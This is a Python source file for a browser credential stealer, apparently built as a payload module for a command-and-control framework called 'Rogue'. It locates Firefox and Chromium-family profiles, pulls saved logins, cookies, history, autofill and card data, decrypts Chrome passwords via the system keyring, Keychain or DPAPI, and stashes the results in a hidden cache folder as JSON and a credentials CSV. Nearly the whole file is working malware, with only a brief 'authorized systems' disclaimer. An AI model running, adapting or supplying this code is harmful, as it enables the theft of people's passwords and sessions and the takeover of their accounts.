#!/usr/bin/env python3 """ PAYLOAD: Browser Data Extraction Module DESCRIPTION: Extract credentials, cookies, history, and bookmarks from browsers AUTHOR: Rogue Red Team VERSION: 3.0 SECURITY: This tool extracts sensitive browser data - Use only on authorized systems """ import os, sys, json, sqlite3, base64, hashlib, datetime, shutil, tempfile, re, platform import struct, lz4.block, keyring, win32crypt, Crypto.Cipher.AES from pathlib import Path from Cryptodome.Cipher import AES import subprocess, glob, zipfile, tarfile class BrowserStealer: def __init__(self): self.results = { "firefox": {"profiles": [], "credentials": [], "cookies": [], "history": [], "bookmarks": []}, "chrome": {"profiles": [], "credentials": [], "cookies": [], "history": [], "bookmarks": []}, "edge": {"profiles": [], "credentials": [], "cookies": [], "history": [], "bookmarks": []}, "brave": {"profiles": [], "credentials": [], "cookies": [], "history": [], "bookmarks": []}, "safari": {"profiles": [], "credentials": [], "cookies": [], "history": [], "bookmarks": []} } def find_browser_profiles(self): """Locate browser profiles on the system""" browsers = {} # Common browser profile locations profile_paths = { "firefox": [ "~/.mozilla/firefox/", "~/snap/firefox/common/.mozilla/firefox/", "/root/.mozilla/firefox/" ], "chrome": [ "~/.config/google-chrome/", "~/.config/chromium/", "~/snap/chromium/common/chromium/", "/root/.config/google-chrome/" ], "edge": [ "~/.config/microsoft-edge/", "~/snap/microsoft-edge/common/microsoft-edge/" ], "brave": [ "~/.config/BraveSoftware/Brave-Browser/", "~/snap/brave/common/BraveSoftware/Brave-Browser/" ], "safari": [ "~/Library/Safari/", "/Library/Safari/" ] } for browser, paths in profile_paths.items(): for path_pattern in paths: expanded_path = os.path.expanduser(path_pattern) if os.path.exists(expanded_path): if browser not in browsers: browsers[browser] = [] browsers[browser].append(expanded_path) return browsers def extract_firefox_data(self, profile_path): """Extract all data from Firefox profile""" firefox_data = {} try: profile_name = os.path.basename(profile_path.rstrip('/')) firefox_data["profile_name"] = profile_name # Extract logins (encrypted) logins_file = os.path.join(profile_path, "logins.json") if os.path.exists(logins_file): with open(logins_file, 'r') as f: logins = json.load(f) firefox_data["logins"] = logins.get("logins", []) # Extract cookies cookies_file = os.path.join(profile_path, "cookies.sqlite") if os.path.exists(cookies_file): cookies = self.read_sqlite_db(cookies_file, "moz_cookies", ["host", "name", "value", "path", "expiry"]) firefox_data["cookies"] = cookies[:50] # Limit to 50 # Extract history places_file = os.path.join(profile_path, "places.sqlite") if os.path.exists(places_file): history = self.read_sqlite_db(places_file, "moz_places", ["url", "title", "visit_count", "last_visit_date"]) firefox_data["history"] = history[:100] # Limit to 100 # Extract bookmarks if os.path.exists(places_file): bookmarks = self.read_sqlite_db(places_file, "moz_bookmarks", ["title", "dateAdded", "lastModified"]) firefox_data["bookmarks"] = bookmarks[:50] # Extract form history formhistory_file = os.path.join(profile_path, "formhistory.sqlite") if os.path.exists(formhistory_file): forms = self.read_sqlite_db(formhistory_file, "moz_formhistory", ["fieldname", "value", "timesUsed"]) firefox_data["form_history"] = forms[:50] # Extract saved credit cards addons_file = os.path.join(profile_path, "addons.json") if os.path.exists(addons_file): with open(addons_file, 'r') as f: addons = json.load(f) firefox_data["addons"] = addons.get("addons", [])[:20] except Exception as e: firefox_data["error"] = str(e) return firefox_data def extract_chrome_data(self, profile_path): """Extract all data from Chrome/Chromium profile""" chrome_data = {} try: profile_name = os.path.basename(profile_path.rstrip('/')) chrome_data["profile_name"] = profile_name # Extract login data (encrypted passwords) login_data_file = os.path.join(profile_path, "Login Data") if os.path.exists(login_data_file): temp_db = self.copy_and_read_db(login_data_file) if temp_db: query = """ SELECT origin_url, username_value, password_value, date_created FROM logins ORDER BY date_created DESC LIMIT 50 """ logins = self.execute_sql_query(temp_db, query) # Try to decrypt passwords for login in logins: if login.get("password_value"): try: decrypted = self.decrypt_chrome_password(login["password_value"]) login["password_decrypted"] = decrypted except: login["password_decrypted"] = "" chrome_data["logins"] = logins os.unlink(temp_db) # Extract cookies cookies_file = os.path.join(profile_path, "Cookies") if os.path.exists(cookies_file): temp_db = self.copy_and_read_db(cookies_file) if temp_db: query = """ SELECT host_key, name, value, path, expires_utc, is_secure, is_httponly FROM cookies ORDER BY host_key LIMIT 100 """ cookies = self.execute_sql_query(temp_db, query) # Try to decrypt encrypted cookies for cookie in cookies: if cookie.get("value"): try: decrypted = self.decrypt_chrome_cookie(cookie["value"]) cookie["value_decrypted"] = decrypted except: cookie["value_decrypted"] = cookie["value"] chrome_data["cookies"] = cookies os.unlink(temp_db) # Extract history history_file = os.path.join(profile_path, "History") if os.path.exists(history_file): temp_db = self.copy_and_read_db(history_file) if temp_db: queries = { "urls": "SELECT url, title, visit_count, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 100", "downloads": "SELECT target_path, start_time, end_time, received_bytes FROM downloads LIMIT 20", "keyword_search": "SELECT term, normalized_term FROM keyword_search_terms LIMIT 20" } for key, query in queries.items(): results = self.execute_sql_query(temp_db, query) chrome_data[key] = results os.unlink(temp_db) # Extract bookmarks bookmarks_file = os.path.join(profile_path, "Bookmarks") if os.path.exists(bookmarks_file): with open(bookmarks_file, 'r', encoding='utf-8') as f: bookmarks = json.load(f) chrome_data["bookmarks_raw"] = bookmarks # Extract autofill data web_data_file = os.path.join(profile_path, "Web Data") if os.path.exists(web_data_file): temp_db = self.copy_and_read_db(web_data_file) if temp_db: queries = { "autofill": "SELECT name, value, date_created FROM autofill LIMIT 50", "credit_cards": "SELECT name_on_card, expiration_month, expiration_year FROM credit_cards LIMIT 20" } for key, query in queries.items(): results = self.execute_sql_query(temp_db, query) chrome_data[key] = results os.unlink(temp_db) except Exception as e: chrome_data["error"] = str(e) return chrome_data def decrypt_chrome_password(self, encrypted_password): """Decrypt Chrome password using system keyring""" try: if platform.system() == "Linux": # Linux uses Gnome Keyring or KWallet import secretstorage connection = secretstorage.dbus_init() collection = secretstorage.get_default_collection(connection) for item in collection.get_all_items(): if item.get_label() == "Chrome Safe Storage": key = item.get_secret() break if key: cipher = AES.new(key, AES.MODE_CBC, IV=b' ' * 16) decrypted = cipher.decrypt(encrypted_password[3:]) return decrypted.decode('utf-8').rstrip('\x00') elif platform.system() == "Darwin": # macOS # macOS Keychain access import keyring import subprocess # Get encryption key from Keychain cmd = ['security', 'find-generic-password', '-w', '-s', 'Chrome Safe Storage'] key = subprocess.check_output(cmd).strip() if key: cipher = AES.new(key, AES.MODE_CBC, IV=b' ' * 16) decrypted = cipher.decrypt(encrypted_password[3:]) return decrypted.decode('utf-8').rstrip('\x00') elif platform.system() == "Windows": # Windows DPAPI import win32crypt decrypted = win32crypt.CryptUnprotectData( encrypted_password, None, None, None, 0 ) return decrypted[1].decode('utf-8') except Exception as e: return f"" return "" def decrypt_chrome_cookie(self, encrypted_value): """Decrypt Chrome cookie value""" # Similar to password decryption return self.decrypt_chrome_password(encrypted_value) def copy_and_read_db(self, db_path): """Copy SQLite database to temp location and read""" try: temp_db = tempfile.NamedTemporaryFile(delete=False, suffix='.db').name shutil.copy2(db_path, temp_db) return temp_db except Exception as e: print(f"Error copying database: {e}") return None def read_sqlite_db(self, db_path, table, columns): """Read data from SQLite database""" try: conn = sqlite3.connect(db_path) cursor = conn.cursor() columns_str = ', '.join(columns) query = f"SELECT {columns_str} FROM {table} LIMIT 100" cursor.execute(query) rows = cursor.fetchall() result = [] for row in rows: row_dict = {} for i, col in enumerate(columns): row_dict[col] = row[i] result.append(row_dict) conn.close() return result except Exception as e: return [{"error": str(e)}] def execute_sql_query(self, db_path, query): """Execute SQL query on database""" try: conn = sqlite3.connect(db_path) cursor = conn.cursor() cursor.execute(query) columns = [description[0] for description in cursor.description] rows = cursor.fetchall() result = [] for row in rows: row_dict = {} for i, col in enumerate(columns): row_dict[col] = row[i] result.append(row_dict) conn.close() return result except Exception as e: return [{"error": str(e)}] def execute(self): """Execute browser data extraction""" try: print("[+] Starting browser data extraction...") # Find browser profiles browsers = self.find_browser_profiles() print(f"[+] Found browsers: {list(browsers.keys())}") # Extract data from each browser for browser, paths in browsers.items(): print(f"[+] Processing {browser}...") for profile_path in paths: if browser == "firefox": # Firefox profiles are directories within the main path if os.path.isdir(profile_path): for profile_dir in os.listdir(profile_path): full_path = os.path.join(profile_path, profile_dir) if os.path.isdir(full_path): data = self.extract_firefox_data(full_path) self.results["firefox"]["profiles"].append(data) elif browser in ["chrome", "edge", "brave"]: # Chrome-based browsers if os.path.isdir(profile_path): data = self.extract_chrome_data(profile_path) self.results[browser]["profiles"].append(data) # Generate summary summary = { "timestamp": datetime.datetime.now().isoformat(), "extraction_summary": { "firefox_profiles": len(self.results["firefox"]["profiles"]), "chrome_profiles": len(self.results["chrome"]["profiles"]), "edge_profiles": len(self.results["edge"]["profiles"]), "brave_profiles": len(self.results["brave"]["profiles"]) }, "total_credentials": sum( len(p.get("logins", [])) for p in self.results["firefox"]["profiles"] + self.results["chrome"]["profiles"] + self.results["edge"]["profiles"] + self.results["brave"]["profiles"] ), "total_cookies": sum( len(p.get("cookies", [])) for p in self.results["firefox"]["profiles"] + self.results["chrome"]["profiles"] + self.results["edge"]["profiles"] + self.results["brave"]["profiles"] ) } # Save results output_dir = os.path.expanduser("~/.cache/.rogue/browser_data") os.makedirs(output_dir, exist_ok=True) output_file = os.path.join(output_dir, f"browser_data_{datetime.datetime.now().strftime('%Y%m%d_%H%M%S')}.json") with open(output_file, 'w') as f: json.dump(self.results, f, indent=2, default=str) # Also create a condensed CSV of credentials csv_file = os.path.join(output_dir, f"credentials_{datetime.datetime.now().strftime('%Y%m%d_%H%M%S')}.csv") self.create_credentials_csv(csv_file) print(f"[+] Browser data extraction complete.") print(f"[+] Detailed results saved to: {output_file}") print(f"[+] Credentials CSV saved to: {csv_file}") return json.dumps(summary, indent=2) except Exception as e: return f"[!] Browser data extraction failed: {str(e)}" def create_credentials_csv(self, csv_file): """Create CSV file of extracted credentials""" try: import csv with open(csv_file, 'w', newline='', encoding='utf-8') as f: writer = csv.writer(f) writer.writerow(['Browser', 'Profile', 'URL', 'Username', 'Password', 'Date']) for browser in ['firefox', 'chrome', 'edge', 'brave']: for profile in self.results[browser]["profiles"]: profile_name = profile.get("profile_name", "Unknown") # Firefox logins for login in profile.get("logins", []): writer.writerow([ browser.capitalize(), profile_name, login.get("hostname", ""), login.get("encryptedUsername", ""), login.get("encryptedPassword", ""), login.get("timeCreated", "") ]) # Chrome logins for login in profile.get("logins", []): writer.writerow([ browser.capitalize(), profile_name, login.get("origin_url", ""), login.get("username_value", ""), login.get("password_decrypted", login.get("password_value", "")), login.get("date_created", "") ]) except Exception as e: print(f"[!] Error creating CSV: {e}") # === Integration with Rogue C2 === def rogue_integration(): """Wrapper for Rogue C2 integration""" stealer = BrowserStealer() return stealer.execute() if __name__ == "__main__": print(rogue_integration())